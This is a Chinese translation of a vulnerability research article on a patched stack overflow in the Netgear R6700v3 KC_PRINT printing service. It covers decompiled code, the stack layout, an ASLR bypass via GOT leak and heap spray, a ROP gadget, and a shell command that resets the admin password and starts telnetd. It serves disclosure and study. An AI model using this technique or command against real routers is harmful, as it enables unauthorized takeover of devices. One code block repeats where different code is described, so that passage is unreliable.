![深入考察Netgear R6700v3 KC_PRINT 服务中栈溢出漏洞 深入考察Netgear R6700v3 KC_PRINT 服务中栈溢出漏洞]()
简介
在这篇文章中,我们将为读者详细介绍我们的小组成员Alex Plaskett、Cedric Halbronn和Aaron Adams于2021年9月发现的一个基于堆栈的溢出漏洞,目前,该漏洞已通过Netgear的固件更新得到了相应的修复。
该漏洞存在于KC_PRINT服务(/usr/bin/KC_PRINT),该软件默认运行于Netgear R6700v3路由器上。虽然这是一个默认服务,但只有启用ReadySHARE功能(即打印机通过USB端口物理连接到Netgear路由器)时,该漏洞才有可能被触发。由于该服务不需要进行任何配置,因此,一旦打印机连接到路由器,攻击者就利用默认配置下的这个安全漏洞。
此外,攻击者还能在路由器的局域网端利用这个安全漏洞,并且无需经过身份验证。如果攻击得手,攻击者就能在路由器上以admin用户(具有最高权限)的身份远程执行代码。
我们的利用方法与这里(https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/tokyo_drift/tokyo_drift.md)使用的方法非常相似,只是我们可以修改admin密码并启动utelnetd服务,这使我们能够在路由器上获得具有特权的shell。
尽管这里分析和利用的是V1.0.4.118_10.0.90版本中的安全漏洞(详见下文),但旧版本也可能存在同样的漏洞。
注意:Netgear R6700v3路由器是基于ARM(32位)架构的。
我们将该漏洞命名为“BrokenPrint”,这是因为“KC”在法语中的发音类似于“cassé”,而后者在英语中意味着“broken”。
![深入考察Netgear R6700v3 KC_PRINT 服务中栈溢出漏洞 深入考察Netgear R6700v3 KC_PRINT 服务中栈溢出漏洞]()
漏洞详情
关于ReadySHARE
这个视频对ReadySHARE进行了很好的介绍,简单来说,借助它,我们就能通过Netgear路由器来访问USB打印机,就像打印机是网络打印机一样。
到达易受攻击的memcpy()函数
需要说明的是,虽然KC_PRINT二进制文件没有提供符号信息,却提供了很多日志/错误函数,其中包含一些函数名。下面显示的代码是通过IDA/Hex-Rays反编译得到的代码,因为我们没有找到这个二进制文件的开放源代码。
KC_PRINT二进制文件创建了许多线程来处理不同的特性:
我们感兴趣的第一个线程处理程序是地址为0xA174的ipp_server()函数。我们可以看到,它会侦听端口631;并且接受客户端连接后,它会创建一个新线程,以执行位于0xA4B4处的thread_handle_client_connection()函数,并将客户端套接字传递给这个新线程。
void __noreturn ipp_server()
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
addr_len = 0x10;
optval = 1;
kc_client = 0;
pthread_attr_init(&attr);
pthread_attr_setdetachstate(&attr, 1);
sock = socket(AF_INET, SOCK_STREAM, 0);
if ( sock < 0 )
{
...
}
if ( setsockopt(sock, 1, SO_REUSEADDR, &optval, 4u) < 0 )
{
...
}
memset(&sin, 0, sizeof(sin));
sin.sin_family = 2;
sin.sin_addr.s_addr = htonl(0);
sin.sin_port = htons(631u); // listens on TCP 631
if ( bind(sock, (const struct sockaddr *)&sin, 0x10u) < 0 )
{
...
}
// accept up to 128 clients simultaneously
listen(sock, 128);
while ( g_enabled )
{
client_sock = accept(sock, &addr, &addr_len);
if ( client_sock >= 0 )
{
update_count_client_connected(CLIENT_CONNECTED);
val[0] = 60;
val[1] = 0;
if ( setsockopt(client_sock, 1, SO_RCVTIMEO, val, 8u) < 0 )
perror("ipp_server: setsockopt SO_RCVTIMEO failed");
kc_client = (kc_client *)malloc(sizeof(kc_client));
if ( kc_client )
{
memset(kc_client, 0, sizeof(kc_client));
kc_client->client_sock = client_sock;
pthread_mutex_lock(&g_mutex);
thread_index = get_available_client_thread_index();
if ( thread_index < 0 )
{
pthread_mutex_unlock(&g_mutex);
free(kc_client);
kc_client = 0;
close(client_sock);
update_count_client_connected(CLIENT_DISCONNECTED);
}
else if ( pthread_create(
&g_client_threads[thread_index],
&attr,
(void *(*)(void *))thread_handle_client_connection,
kc_client) )
{
...
}
else
{
pthread_mutex_unlock(&g_mutex);
}
}
else
{
...
}
}
}
close(sock);
pthread_attr_destroy(&attr);
pthread_exit(0);
}
客户端处理程序将调用地址为0xA530的do_http函数:
void __fastcall __noreturn thread_handle_client_connection(kc_client *kc_client)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
client_sock = kc_client->client_sock;
while ( g_enabled && !do_http(kc_client) )
;
close(client_sock);
update_count_client_connected(CLIENT_DISCONNECTED);
free(kc_client);
pthread_exit(0);
}
do_http()函数将读取一个类似HTTP的请求,为此,它首先要找到以rnrn结尾的HTTP头部,并将其保存到一个1024字节的堆栈缓冲区中。然后,它继续搜索一个POST /USB URI和一个_LQ字符串,其中usblp_index是一个整数。然后,调用0x16150处的函数is_printer_connected()。
为了简洁起见,这里并没有展示is_printer_connected()的代码,其作用就是打开/proc/printer_status文件,试图读取其内容,并试图通过寻找类似usblp%d的字符串来查找USB端口。实际上,只有当打印机连接到Netgear路由器时才会发现上述行为,这意味着:如果没有连接打印机,它将不会继续执行下面的代码。
unsigned int __fastcall do_http(kc_client *kc_client)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
kc_client_ = kc_client;
client_sock = kc_client->client_sock;
content_len = 0xFFFFFFFF;
strcpy(http_continue, "HTTP/1.1 100 Continuernrn");
pCurrent = 0;
pUnderscoreLQ_or_CRCL = 0;
p_client_data = 0;
kc_job = 0;
strcpy(aborted_by_system, "aborted-by-system");
remaining_len = 0;
kc_chunk = 0;
// buf_read is on the stack and is 1024 bytes
memset(buf_read, 0, sizeof(buf_read));
// Read in 1024 bytes maximum
count_read = readUntil_0d0a_x2(client_sock, (unsigned __int8 *)buf_read, 0x400);
if ( (int)count_read < = 0 )
return 0xFFFFFFFF;
// if received "100-continue", sends back "HTTP/1.1 100 Continuernrn"
if ( strstr(buf_read, "100-continue") )
{
ret_1 = send(client_sock, http_continue, 0x19u, 0);
if ( ret_1 < = 0 )
{
perror("do_http() write 100 Continue xx");
return 0xFFFFFFFF;
}
}
// If POST /USB is found
pCurrent = strstr(buf_read, "POST /USB");
if ( !pCurrent )
return 0xFFFFFFFF;
pCurrent += 9; // points after "POST /USB"
// If _LQ is found
pUnderscoreLQ_or_CRCL = strstr(pCurrent, "_LQ");
if ( !pUnderscoreLQ_or_CRCL )
return 0xFFFFFFFF;
Underscore = *pUnderscoreLQ_or_CRCL;
*pUnderscoreLQ_or_CRCL = 0;
usblp_index = atoi(pCurrent);
*pUnderscoreLQ_or_CRCL = Underscore;
if ( usblp_index > 10 )
return 0xFFFFFFFF;
// by default, will exit here as no printer connected
if ( !is_printer_connected(usblp_index) )
return 0xFFFFFFFF; // exit if no printer connected
kc_client_->usblp_index = usblp_index;
然后,它将解析HTTP的Content-Length头部,并开始从HTTP内容中读取8个字节。并根据这8个字节的值,调用0x128C0处的do_airippWithContentLength()函数——这正是我们的兴趣之所在。
unsigned int __fastcall do_http(kc_client *kc_client)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
kc_client_ = kc_client;
client_sock = kc_client->client_sock;
content_len = 0xFFFFFFFF;
strcpy(http_continue, "HTTP/1.1 100 Continuernrn");
pCurrent = 0;
pUnderscoreLQ_or_CRCL = 0;
p_client_data = 0;
kc_job = 0;
strcpy(aborted_by_system, "aborted-by-system");
remaining_len = 0;
kc_chunk = 0;
// buf_read is on the stack and is 1024 bytes
memset(buf_read, 0, sizeof(buf_read));
// Read in 1024 bytes maximum
count_read = readUntil_0d0a_x2(client_sock, (unsigned __int8 *)buf_read, 0x400);
if ( (int)count_read < = 0 )
return 0xFFFFFFFF;
// if received "100-continue", sends back "HTTP/1.1 100 Continuernrn"
if ( strstr(buf_read, "100-continue") )
{
ret_1 = send(client_sock, http_continue, 0x19u, 0);
if ( ret_1 < = 0 )
{
perror("do_http() write 100 Continue xx");
return 0xFFFFFFFF;
}
}
// If POST /USB is found
pCurrent = strstr(buf_read, "POST /USB");
if ( !pCurrent )
return 0xFFFFFFFF;
pCurrent += 9; // points after "POST /USB"
// If _LQ is found
pUnderscoreLQ_or_CRCL = strstr(pCurrent, "_LQ");
if ( !pUnderscoreLQ_or_CRCL )
return 0xFFFFFFFF;
Underscore = *pUnderscoreLQ_or_CRCL;
*pUnderscoreLQ_or_CRCL = 0;
usblp_index = atoi(pCurrent);
*pUnderscoreLQ_or_CRCL = Underscore;
if ( usblp_index > 10 )
return 0xFFFFFFFF;
// by default, will exit here as no printer connected
if ( !is_printer_connected(usblp_index) )
return 0xFFFFFFFF; // exit if no printer connected
kc_client_->usblp_index = usblp_index;
do_airippWithContentLength()函数分配了一个堆缓冲区来容纳整个HTTP的内容,并复制之前已经读取的8个字节,并将剩余的字节读入该新的堆缓冲区。
注意:只要malloc()不因内存不足而失败,实际的HTTP内容的大小就没有限制,这在后面进行内存喷射时很有用。
然后,代码继续根据最初读取的8个字节的值,来调用其他函数。就这里来说,我们对位于0x102C4处的Response_Get_Jobs()比较感兴趣,因为它包含我们要利用的基于堆栈的溢出漏洞。请注意,虽然其他Response_XXX()函数也可能包含类似的堆栈溢出漏洞,但Response_Get_Jobs()是最容易利用的一个函数,所以,我们就先捡最软的一个柿子来捏。
unsigned int __fastcall do_airippWithContentLength(kc_client *kc_client, int content_len, char *recv_buf_initial)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
client_sock = kc_client->client_sock;
recv_buf2 = malloc(content_len);
if ( !recv_buf2 )
return 0xFFFFFFFF;
memcpy(recv_buf2, recv_buf_initial, 8u);
if ( toRead(client_sock, recv_buf2 + 8, content_len - 8) >= 0 )
{
if ( recv_buf2[2] || recv_buf2[3] != 0xB )
{
if ( recv_buf2[2] || recv_buf2[3] != 4 )
{
if ( recv_buf2[2] || recv_buf2[3] != 8 )
{
if ( recv_buf2[2] || recv_buf2[3] != 9 )
{
if ( recv_buf2[2] || recv_buf2[3] != 0xA )
{
if ( recv_buf2[2] || recv_buf2[3] != 5 )
Job = Response_Unk_1(kc_client, recv_buf2);
else
// recv_buf2[3] == 0x5
Job = Response_Create_Job(kc_client, recv_buf2, content_len);
}
else
{
// recv_buf2[3] == 0xA
Job = Response_Get_Jobs(kc_client, recv_buf2, content_len);
}
}
else
{
...
}
易受攻击的Response_Get_Jobs()函数开头部分的代码如下所示:
// recv_buf was allocated on the heap
unsigned int __fastcall Response_Get_Jobs(kc_client *kc_client, unsigned __int8 *recv_buf, int content_len)
{
char command[64]; // [sp+24h] [bp-1090h] BYREF
char suffix_data[2048]; // [sp+64h] [bp-1050h] BYREF
char job_data[2048]; // [sp+864h] [bp-850h] BYREF
unsigned int error; // [sp+1064h] [bp-50h]
size_t copy_len; // [sp+1068h] [bp-4Ch]
int copy_len_1; // [sp+106Ch] [bp-48h]
size_t copied_len; // [sp+1070h] [bp-44h]
size_t prefix_size; // [sp+1074h] [bp-40h]
int in_offset; // [sp+1078h] [bp-3Ch]
char *prefix_ptr; // [sp+107Ch] [bp-38h]
int usblp_index; // [sp+1080h] [bp-34h]
int client_sock; // [sp+1084h] [bp-30h]
kc_client *kc_client_1; // [sp+1088h] [bp-2Ch]
int offset_job; // [sp+108Ch] [bp-28h]
char bReadAllJobs; // [sp+1093h] [bp-21h]
char is_job_media_sheets_completed; // [sp+1094h] [bp-20h]
char is_job_state_reasons; // [sp+1095h] [bp-1Fh]
char is_job_state; // [sp+1096h] [bp-1Eh]
char is_job_originating_user_name; // [sp+1097h] [bp-1Dh]
char is_job_name; // [sp+1098h] [bp-1Ch]
char is_job_id; // [sp+1099h] [bp-1Bh]
char suffix_copy1_done; // [sp+109Ah] [bp-1Ah]
char flag2; // [sp+109Bh] [bp-19h]
size_t final_size; // [sp+109Ch] [bp-18h]
int offset; // [sp+10A0h] [bp-14h]
size_t response_len; // [sp+10A4h] [bp-10h]
char *final_ptr; // [sp+10A8h] [bp-Ch]
size_t suffix_offset; // [sp+10ACh] [bp-8h]
kc_client_1 = kc_client;
client_sock = kc_client->client_sock;
usblp_index = kc_client->usblp_index;
suffix_offset = 0; // offset in the suffix_data[] stack buffer
in_offset = 0;
final_ptr = 0;
response_len = 0;
offset = 0; // offset in the client data "recv_buf" array
final_size = 0;
flag2 = 0;
suffix_copy1_done = 0;
is_job_id = 0;
is_job_name = 0;
is_job_originating_user_name = 0;
is_job_state = 0;
is_job_state_reasons = 0;
is_job_media_sheets_completed = 0;
bReadAllJobs = 0;
// prefix_data is a heap allocated buffer to copy some bytes
// from the client input but is not super useful from an
// exploitation point of view
prefix_size = 74; // size of prefix_ptr[] heap buffer
prefix_ptr = (char *)malloc(74u);
if ( !prefix_ptr )
{
perror("Response_Get_Jobs: malloc xx");
return 0xFFFFFFFF;
}
memset(prefix_ptr, 0, prefix_size);
// copy bytes indexes 0 and 1 from client data
copied_len = memcpy_at_index(prefix_ptr, in_offset, &recv_buf[offset], 2u);
in_offset += copied_len;
// we make sure to avoid this condition to be validated
// so we keep bReadAllJobs == 0
if ( *recv_buf == 1 && !recv_buf[1] )
bReadAllJobs = 1;
offset += 2;
// set prefix_data's bytes index 2 and 3 to 0x00
prefix_ptr[in_offset++] = 0;
prefix_ptr[in_offset++] = 0;
offset += 2;
// copy bytes indexes 4,5,6,7 from client data
in_offset += memcpy_at_index(prefix_ptr, in_offset, &recv_buf[offset], 4u);
offset += 4;
copy_len_1 = 0x42;
// copy bytes indexes [8,74] from table keywords
copied_len = memcpy_at_index(prefix_ptr, in_offset, &table_keywords, 0x42u);
in_offset += copied_len;
++offset; // offset = 9 after this
// job_data[] and suffix_data[] are 2 stack buffers to copy some bytes
// from the client input but are not super useful from an
// exploitation point of view
memset(job_data, 0, sizeof(job_data));
memset(suffix_data, 0, sizeof(suffix_data));
suffix_data[suffix_offset++] = 5;
// we need to enter this to trigger the stack overflow
if ( !bReadAllJobs )
{
// iteration 1: offset == 9
// NOTE: we make sure to overwrite the "offset" local variable
// to be content_len+1 when overflowing the stack buffer to exit this loop after the 1st iteration
while ( recv_buf[offset] != 3 && offset < = content_len )
{
// we make sure to enter this as we need flag2 != 0 later
// to trigger the stack overflow
if ( recv_buf[offset] == 0x44 && !flag2 )
{
flag2 = 1;
suffix_data[suffix_offset++] = 0x44;
// we can set a copy_len == 0 to simplify this
// offset = 9 here
copy_len = (recv_buf[offset + 1] < < 8) + recv_buf[offset + 2];
copied_len = memcpy_at_index(suffix_data, suffix_offset, &recv_buf[offset + 1], copy_len + 2);
suffix_offset += copied_len;
}
++offset; // iteration 1: offset = 10 after this
// this is the same copy_len as above but just used to skip bytes here
// offset = 10 here
copy_len = (recv_buf[offset] < < 8) + recv_buf[offset + 1];
offset += 2 + copy_len; // we can set a copy_len == 0 to simplify this
// iteration 1: offset = 12 after this
// again, copy_len is pulled from client controlled data,
// this time used in a copy onto a stack buffer
// copy_len equals maximum: 0xff00 + 0xff
// and a copy is made into command[] which is a 2048-byte buffer
copy_len = (recv_buf[offset] < < 8) + recv_buf[offset + 1];
offset += 2; // iteration 1: offset = 14 after this
// we need flag2 == 1 to enter this
if ( flag2 )
{
// /! VULNERABILITY HERE /!
memset(command, 0, sizeof(command));
memcpy(command, &recv_buf[offset], copy_len);// VULN: stack overflow here
...
它首先通过分配一个prefix_ptr堆缓冲区来保存来自客户端的数据,并根据客户端数据字节的值是0还是1,来判断是否将bReadAllJobs设为1,我们希望避免这一点,以便到达易受攻击的memcpy()函数,因此,我们需要确保bReadAllJobs=0保持不变。
我们可以看到,这里有2个memset()函数,用于处理两个不同的栈缓冲区,一个缓冲区名为job_data,另一个名为suffix_data。然后,开始执行if ( !bReadAllJobs )语句。这里,我们需要通过手工方式来创建客户端数据,以确保while ( recv_buf[offset] != 3 && offset < = content_len ) 中的条件表达式能够成立,从而进入循环体内。
此外,我们还需要令flag2的值为1,以便确保客户端的数据满足条件,从而进入if(recv_buf[offsed]==0x44&&!flag2)的条件表达式。
稍后,在while循环中,如果设置了flag2,则通过copy_len = (recv_buf[offset] < < 8) + recv_buf[offset + 1];语句计算从客户端数据中读取的长度,该长度用16位表示(最大值为0xFFFF=65535字节)。然后,当使用memcpy(command, &recv_buf[offset], copy_len)向64字节堆栈缓冲区中复制数据时,会将这个长度用作memcpy函数的参数。因此,这是一个基于堆栈的溢出漏洞,我们可以控制溢出的大小和内容。对于用于溢出的字节值来说,这里没有任何限制,所以,这看起来是一个非常容易利用的漏洞。
由于没有堆栈cookie,所以,利用该堆栈溢出的策略是覆盖保存在堆栈上的返回地址,并继续执行,直到函数结束,以获得$PC的控制权。
到达函数的尾部
现在重要的是从我们溢出的command[]数组查看堆栈布局。如下所示,command[]是距离返回地址最远的局部变量。这样做的好处是允许我们在溢出后可以控制任意局部变量的值。请记住,我们现在处于while循环中,所以,我们要尽快跳出这个循环。通过覆盖局部变量并将其设置为适当的值,这一点应该很容易实现。
-00001090 command DCB 64 dup(?)
-00001050 suffix_data DCB 2048 dup(?)
-00000850 job_data DCB 2048 dup(?)
-00000050 error DCD ?
-0000004C copy_len DCD ?
-00000048 copy_len_1 DCD ?
-00000044 copied_len DCD ?
-00000040 prefix_size DCD ?
-0000003C in_offset DCD ?
-00000038 prefix_ptr DCD ? ; offset
-00000034 usblp_index DCD ?
-00000030 client_sock DCD ?
-0000002C kc_client_1 DCD ?
-00000028 offset_job DCD ?
-00000024 DCB ? ; undefined
-00000023 DCB ? ; undefined
-00000022 DCB ? ; undefined
-00000021 bReadAllJobs DCB ?
-00000020 is_job_media_sheets_completed DCB ?
-0000001F is_job_state_reasons DCB ?
-0000001E is_job_state DCB ?
-0000001D is_job_originating_user_name DCB ?
-0000001C is_job_name DCB ?
-0000001B is_job_id DCB ?
-0000001A suffix_copy1_done DCB ?
-00000019 flag2 DCB ?
-00000018 final_size DCD ?
-00000014 offset DCD ?
-00000010 response_len DCD ?
-0000000C final_ptr DCD ? ; offset
-00000008 suffix_offset DCD ?
因此,在memcpy()发生溢出之后,我们决定把客户端数据设置为保存“job-id”命令,以简化要遍历的代码路径。然后,我们可以看到offset+=copy_len语句。由于溢出导致我们可以控制copy_len和offset的值,因此,我们可以通过设置offset=content_len+1来构造一个值,使while(recv_buf[offset]!=3&&offset<=content_len)语句中的退出条件得以成立。
接下来,由于bReadAllJobs==0,我们将执行第二个read_job_value()调用。实际上,这个read_job_value()与我们无关,但它的目的是遍历所有打印机作业并保存所请求的数据(在我们的示例中是job-id)。在我们的例子中,我们假设目前没有打印机作业,所以,它不会读取任何内容。这意味着,返回的offset_job的值为0。
// we need to enter this to trigger the stack overflow
if ( !bReadAllJobs )
{
// iteration 1: offset == 9
// NOTE: we make sure to overwrite the "offset" local variable
// to be content_len+1 when overflowing the stack buffer to exit this loop after the 1st iteration
while ( recv_buf[offset] != 3 && offset < = content_len )
{
...
// we need flag2 == 1 to enter this
if ( flag2 )
{
// /! VULNERABILITY HERE /!
memset(command, 0, sizeof(command));
memcpy(command, &recv_buf[offset], copy_len);// VULN: stack overflow here
// dispatch to right command
if ( !strcmp(command, "job-media-sheets-completed") )
{
is_job_media_sheets_completed = 1;
}
...
else if ( !strcmp(command, "job-id") )
{
// atm we make sure to send a "job-id " command to go here
is_job_id = 1;
}
else
{
...
}
}
offset += copy_len; // this is executed before looping
}
} // end of while loop
final_size += prefix_size;
if ( bReadAllJobs )
offset_job = read_job_value(usblp_index, 1, 1, 1, 1, 1, 1, job_data);
else
offset_job = read_job_value(
usblp_index,
is_job_id,
is_job_name,
is_job_originating_user_name,
is_job_state,
is_job_state_reasons,
is_job_media_sheets_completed,
job_data);
现在,我们继续看下面易受攻击的函数代码。由于offset_job=0,所以,这里将跳过第一个if子句。
然后,分配一个用于保存响应的堆缓冲区,并将其保存在final_ptr中。接着,从易受攻击函数的prefix_ptr缓冲区复制数据。最后,它跳转到b_write_ipp_response2标签,并调用0x13210处的write_ipp_response()函数。为了简洁起见,这里并没有显示write_ipp_response(),但它的目的是向客户端套接字发送HTTP响应。
最后,由prefix_ptr和final_ptr指向的2个堆缓冲区被释放,该函数随之退出。
// offset_job is an offset inside job_data[] stack buffer
// atm we assume offset_job == 0 so we skip this condition.
// Note we assume that due to no printing job currently existing
// but it would be better to actually make sure all the is_xxx variables == 0 as explained above
if ( offset_job > 0 ) // assumed skipped for now
{
...
b_write_ipp_response2:
final_ptr[response_len++] = 3;
// the "client_sock" is a local variable that we overwrite
// when trying to reach the stack address. We need to brute
// force the socket value in order to effectively send
// us our leaked data if we really want that data back but
// otherwise the send() will silently fail
error = write_ipp_response(client_sock, final_ptr, response_len);
// From testing, it is safe to use the starting .got address for the prefix_ptr
// and free() will ignore that address hehe
// XXX - not sure why but if I use memset_ptr (offset inside
// the .got), it crashes on free() though lol
if ( prefix_ptr )
{
free(prefix_ptr);
prefix_ptr = 0;
}
// Freeing the final_ptr is no problem for us
if ( final_ptr )
{
free(final_ptr);
final_ptr = 0;
}
// this is where we get $pc control
if ( error )
return 0xFFFFFFFF;
else
return 0;
}
// we reach here if no job data
final_ptr = (char *)malloc(++final_size);
if ( final_ptr )
{
// prefix_ptr is a heap buffer that was allocated at the
// beginning of this function but pointer is stored in a
// stack variable. We actually need to corrupt this pointer
// as part of the stack overflow to reach the return address
// which means we can leak make it copy any size from any
// address which results in our leak primitive
memset(final_ptr, 0, final_size);
copied_len = memcpy_at_index(final_ptr, response_len, prefix_ptr, prefix_size);
response_len += copied_len;
goto b_write_ipp_response2;
}
// error below / never reached
...
}
![深入考察Netgear R6700v3 KC_PRINT 服务中栈溢出漏洞 深入考察Netgear R6700v3 KC_PRINT 服务中栈溢出漏洞]()
漏洞利用
已有的缓解措施
我们的目标是覆盖返回地址以获得$pc控制权,但这里还面临着一些挑战。比如,我们需要知道可以使用哪些静态地址。
检查内核的ASLR设置:
# cat /proc/sys/kernel/randomize_va_space
从这里可知:
0:禁用ASLR。如果使用norandmaps引导参数引导内核,则启用该设置。
1:随机化堆栈、虚拟动态共享对象(VDSO)页和共享内存区域的地址。数据段的基址位于紧接可执行代码段末尾之后。
2:随机化堆栈、VDSO页、共享内存区域和数据段的地址。这是默认设置。
我们可以使用checksec.py检查KC_PRINT二进制文件中的缓解措施:
[*] '/home/cedric/test/firmware/netgear_r6700/_R6700v3-
V1.0.4.118_10.0.90.zip.extracted/
_R6700v3-V1.0.4.118_10.0.90.chk.extracted/squashfs-root/usr/bin/KC_PRINT'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
因此,我们可以总结如下:
KC_PRINT:地址没有进行随机化处理
.text:读/执行
.data:读/写
库:地址进行了随机化处理
堆:地址没有进行随机化处理
堆栈:地址进行了随机化处理
构建一个泄露原语
对于前面的反编译代码,有几行代码需要注意:
final_ptr = (char *)malloc(++final_size);
copied_len = memcpy_at_index(final_ptr, response_len, prefix_ptr, prefix_size);
error = write_ipp_response(client_sock, final_ptr, response_len);
第一行是为了覆盖返回地址,为此,我们首先需要覆盖prefix_ptr、prefix_size和client_sock。
另外,prefix_ptr必须是一个有效的地址,代码将从这个地址处的内容向final_ptr处复制prefix_size个字节。然后,如果client_sock是一个有效的套接字,该数据将被发回客户端套接字。
这看起来是一个很好的泄漏原语,因为我们同时控制了prefix_ptr和prefix_size,然而,我们仍然需要知道之前有效的client_sock来取回数据。
但是,如果我们覆盖了包含所有局部变量的整个栈帧(保存的寄存器和返回地址除外),结果会怎样?好吧,它将继续向我们发送数据,并退出函数,就像没有溢出发生一样。这种情况是完美的,因为它允许我们对client_sock的值进行蛮力攻击。
此外,通过多次测试,我们注意到,如果我们是唯一连接到KC_PRINT的客户端,那么在KC_PRINT执行过程中,client_sock的值可能是变化的。但是,一旦启动了KC_PRINT,只要我们关闭了前一个连接,它就会一直为每个连接分配相同的client_sock。
这对我们来说是一个完美的场景,因为它意味着我们可以通过溢出整个栈帧(保存的寄存器和返回值除外)来对套接字值进行蛮力攻击,直到我们得到HTTP响应,并且KC_PRINT永远不会崩溃。一旦我们知道了那个套接字值,我们就可以开始泄漏数据了。但是,prefix_ptr需要指向哪里呢?
绕过ASLR实现命令执行
在这里,还有另一个问题需要解决。实际上,在Response_Get_Jobs的末尾有一个free(prefix_ptr)调用;它位于我们控制$PC之前。所以,最初我们认为需要找到一个对free()有效的堆地址。
然而,在调试器中进行相应的测试后,我们注意到,将全局偏移表(GOT)的地址传递给free()调用时,并没有发生崩溃。我们不确定具体的原因,另外,由于时间的原因,我们也没有进行深入的研究。然而,这却提供了一个新的机会。事实上,由于KC_PRINT在编译时没有启用PIE,所以.got是一个静态地址。这意味着我们可以泄露一个导入的函数,比如libc.so库中的memset()函数。然后我们就可以推断出libc.so的基址,并有效地绕过库中的ASLR机制。然后,我们就可以推断出system()函数的地址了。
我们的最终目标是对任意字符串调用system()函数来执行shell命令。但是,我们的数据存储在哪里呢?最初我们认为可以使用堆栈上的数据,但是堆栈是经过随机化处理的,所以我们无法在数据中硬编码地址。我们可以使用复杂的ROP链来构建要执行的命令字符串,但在ARM(32位)中实现这一点似乎过于复杂,因为ARM的32位指令是对齐的,所以,我们无法使用非对齐的指令。此外,我们也想过将ARM模式改为Thumb模式。但是有没有更简单的方法呢?
如果我们可以在一个特定的地址为受控数据分配内存呢?然后,我们想起了Project Zero的一篇优秀博客,其中提到mmap()函数的随机化机制在32位架构下面被打破了。在我们的例子中,我们知道堆不是随机的,那么分配的大型内存呢?事实证明,虽然它们的地址是随机的,但随机程度并不是很高。
前面说过,我们可以发送任意长度的HTTP内容,并且分配同样大小的堆缓冲区吗?现在,我们就可以利用这一点了。例如,在发送长度为0x1000000(16MB)的HTTP内容时,我们就会发现,为其分配的内存将越过[heap]内存区域之外,并位于存放程序库的内存之上。更具体地说,我们通过测试发现,它始终使用范围为0x401xxxxx-0x403xxxxx的内存地址。
# cat /proc/317/maps
00008000-00018000 r-xp 00000000 1f:03 1429 /usr/bin/KC_PRINT // static
00018000-00019000 rw-p 00010000 1f:03 1429 /usr/bin/KC_PRINT // static
00019000-0001c000 rw-p 00000000 00:00 0 [heap] // static
4001e000-40023000 r-xp 00000000 1f:03 376 /lib/ld-uClibc.so.0 // ASLR
4002a000-4002b000 r--p 00004000 1f:03 376 /lib/ld-uClibc.so.0
4002b000-4002c000 rw-p 00005000 1f:03 376 /lib/ld-uClibc.so.0
4002f000-40030000 rw-p 00000000 00:00 0
40154000-4015f000 r-xp 00000000 1f:03 265 /lib/libpthread.so.0 // ASLR
4015f000-40166000 ---p 00000000 00:00 0
40166000-40167000 r--p 0000a000 1f:03 265 /lib/libpthread.so.0
40167000-4016c000 rw-p 0000b000 1f:03 265 /lib/libpthread.so.0
4016c000-4016e000 rw-p 00000000 00:00 0
4016e000-401d3000 r-xp 00000000 1f:03 352 /lib/libc.so.0 // ASLR
401d3000-401db000 ---p 00000000 00:00 0
401db000-401dc000 r--p 00065000 1f:03 352 /lib/libc.so.0
401dc000-401dd000 rw-p 00066000 1f:03 352 /lib/libc.so.0
401dd000-401e2000 rw-p 00000000 00:00 0 // Broken ASLR
bcdfd000-bce00000 rwxp 00000000 00:00 0
bcffd000-bd000000 rwxp 00000000 00:00 0
bd1fd000-bd200000 rwxp 00000000 00:00 0
bd3fd000-bd400000 rwxp 00000000 00:00 0
bd5fd000-bd600000 rwxp 00000000 00:00 0
bd7fd000-bd800000 rwxp 00000000 00:00 0
bd9fd000-bda00000 rwxp 00000000 00:00 0
bdbfd000-bdc00000 rwxp 00000000 00:00 0
bddfd000-bde00000 rwxp 00000000 00:00 0
bdffd000-be000000 rwxp 00000000 00:00 0
be1fd000-be200000 rwxp 00000000 00:00 0
be3fd000-be400000 rwxp 00000000 00:00 0
beacc000-beaed000 rw-p 00000000 00:00 0 [stack] // ASLR
如果其内存从最低地址0x40100008处开始分配,则会在0x41100008处结束。这意味着:我们可以喷射相同数据的页面,并在静态地址上获得确定性的内容,例如在0x41000100处。
最后,在Response_Get_Jobs函数的尾声中,可以看到代码POP {R11,PC},这意味着我们可以伪造一个R11,并使用像下面这样的gadget,将堆栈转移到一个新的堆栈中——其中的数据处于我们的控制之下,这样的话,我们就可以利用ROP技术了:
.text:000118A0 LDR R3, [R11,#-0x28]
.text:000118A4
.text:000118A4 loc_118A4 ; Get_JobNode_Print_Job+7D8↑j
.text:000118A4 MOV R0, R3
.text:000118A8 SUB SP, R11, #4
.text:000118AC POP {R11,PC}
因此,我们可以让R11指向静态区域0x41000100,并将要执行的命令存储在该区域的静态地址中。然后,我们使用上面的gadget来检索那个命令的地址(也存储在那个区域中),以便设置system函数的第一个参数(在r0中),然后,跳转到该区域的新的堆栈中,使它最终返回到system("any command")。
获得root shell
我们决定使用以下命令:nvram set http_passwd=nccgroup && sleep 4 && utelnetd -d -i br0。这与这篇文章(https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/tokyo_drift/tokyo_drift.md)中使用的方法非常相似,只是就这里来说,我们具有更多的控制权,即执行任意命令,所以,我们可以设置一个任意的密码,并启动utelnetd进程,而非只能将HTTP密码重置为默认密码。
最后,我们使用上面提到的文章中同样的技巧,登录到Web界面,将密码重新设置为相同的密码,这样,utelnetd就能获悉我们的新密码,而我们就能在Netgear路由器上获得一个远程shell了。
参考及来源:https://research.nccgroup.com/2022/02/28/brokenprint-a-netgear-stack-overflow/
原文始发于微信公众号(嘶吼专业版):深入考察Netgear R6700v3 KC_PRINT 服务中栈溢出漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论